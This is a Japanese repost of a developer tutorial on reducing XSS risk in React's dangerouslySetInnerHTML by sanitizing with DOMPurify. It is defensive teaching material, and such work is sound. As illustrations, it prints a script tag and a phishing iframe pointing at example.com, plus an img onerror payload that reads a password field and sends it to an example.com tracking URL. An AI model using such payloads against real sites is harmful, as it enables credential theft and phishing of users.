ホームページ  >  記事  >  ウェブフロントエンド  >  React の「危険な SetInnerHTML」使用時の XSS エクスプロイトを軽減する

React の「危険な SetInnerHTML」使用時の XSS エクスプロイトを軽減する

DDD
DDDオリジナル
2024-09-13 06:35:32887ブラウズ

Mitigate XSS exploits when using React

ラウタロ・アンドレアニによるカバー画像

...

TL: DR; 危険な SetInnerHTML にコンテンツを盲目的にダンプすることは、まさに危険です。入力を明示的に制御できない限り、危険なことに、SetInnerHTML に渡す入力はすべてサニタイズしていることを確認してください。

次のコンポーネントは、危険な SetInnerHTML による XSS 攻撃のリスクを軽減する簡単な例として機能します。

//https://github.com/cure53/DOMPurify
import React from "react";
import DOMPurify from "dompurify";

const sanitize = (dirty) => DOMPurify.sanitize(dirty);

const DangerousHtml = ({ innerHTML, tag }) => {
  const clean = sanitize(innerHTML);

  if (typeof tag === "undefined") {
    return <div dangerouslySetInnerHTML={{ __html: clean }} />;
  }
  return <tag dangerouslySetInnerHTML={{ __html: clean }} />;
};

export default DangerousHtml;

特注の DangerousHtml コンポーネントを使用することで、実際の危険な SetInnerHTML プロパティに到達する前に入力をサニタイズするため、XSS エクスプロイトのリスクを大幅に軽減できます

DOMPurify は高度な構成も可能であるため、特定のユースケースを処理したり、以下の例の一部を明示的に許可したりするために、この例のような複数のコンポーネントが必要になる場合があります。

以下に、エクスプロイトがどのように行われるかを示す簡単な例をいくつか示します。

iFrame および Script タグの悪用

React は悪意のあるペイロードを指すスクリプト タグを削除しないため、XSS が可能です。

この方法でも iFrame を渡すべきではありません。むしろ、URL とその他の「安全な」属性を小道具として渡し、それを iFrame タグでレンダリングしてレンダリング機能とソースの制御を保持するか、専用の iFrame コンポーネントを用意する必要があります。

たとえば、API リクエストから受け取った次の悪意のあるマークアップについて考えてみましょう。 dangerously SetInnerHTML を介して盲目的に設定すると、ユーザーに次の出力が表示されます:

// Bad markup going in
<div
  dangerouslySetInnerHTML={{
    __html: `<p>
  Hi
  <script src="https://example.com/malicious-tracking"></script>
  Fiona, here is the link to enter your bank details:
  <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
</p>`,
  }}
/>
<!-- Bad markup rendered on the DOM -->
<div>
  <p>
    Hi
    <script src="https://example.com/malicious-tracking"></script>
    Fiona, here is the link to enter your bank details:
    <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
  </p>
</div>

しかし、代わりに DangerousHTML コンポーネントを使用することは、ユーザーが直面する可能性のあるリスクのほとんどを軽減したことを意味します。

// Bad markup going in
<DangerousHtml
  innerHTML={`<p>
  Hi
  <script src="https://example.com/malicious-tracking"></script>
  Fiona, here is the link to enter your bank details:
  <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
</p>`}
/>
<!-- Clean markup rendered on the DOM -->
<div>
  <p>Hi Fiona, here is the link to enter your bank details:</p>
</div>

フィオナは、何らかの理由で Web サイトが壊れているかコンテンツが欠落していると考えているかもしれませんが、銀行口座の詳細をフィッシングされるよりはまだマシです!

属性操作/中毒

一部の DOM 要素には、悪用される可能性がある特別な属性があり、それから身を守る必要があります。

この例では、 上でいくつかの JS を実行できます。タグにエラーがあります。

たとえば、次のような場合:

// Bad markup going in
<div
  dangerouslySetInnerHTML={{
    __html: `
<p>
  Hola
  <img
    src='none.png'
    onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
  />
  Sharon
</p>`,
  }}
/>
<!-- Bad markup rendered on the DOM -->
<div>
  <p>
    Hola
    <img
      src="none.png"
      onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
    />
    Sharon
  </p>
</div>

この例では、イメージリクエストが最終的に失敗し、ユーザーにはそれが分からないときに、毒されたマークアップが DOM からデータを盗んでいます。

DangerousHtml コンポーネントを使用すると、これを再度軽減できます

// Bad markup going in
<DangerousHtml
  innerHTML={`
<p>
  Hola
  <img
    src='none.png'
    onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
  />
  Sharon
</p>`}
/>
<!-- Clean markup rendered on the DOM -->
<div>
  <p>
    Hola
    <img src="none.png" />
    Sharon
  </p>
</div>

フォールバック画像を表示するために本当に JS を実行したいかもしれないという議論を考えると、これを行うために生のサニタイズされていない HTML を信頼すべきではなく、fallbackImageURL または onError プロパティを用意した方がよいでしょう。次のようにイメージタグに明示的に追加できます:

// Usual imports
const MyImageComponent = ({ fallbackUrl, url }) => {
  // Usual component setup

  const displayFallbackImage = (evt) => {
    // If there is no fallback, do nothing
    if (!fallbackUrl) return;

    // set the url to the fallbackUrl
    evt.target.src = fallbackUrl;
  };

  return (
    <img
      src={url}
      onerror={displayFallbackImage}
      // ... any other props
    />
  );
};

...

元の記事: https://timbryan.dev/posts/react-xss-via-dangerouslySetInnerHtml

以上がReact の「危険な SetInnerHTML」使用時の XSS エクスプロイトを軽減するの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。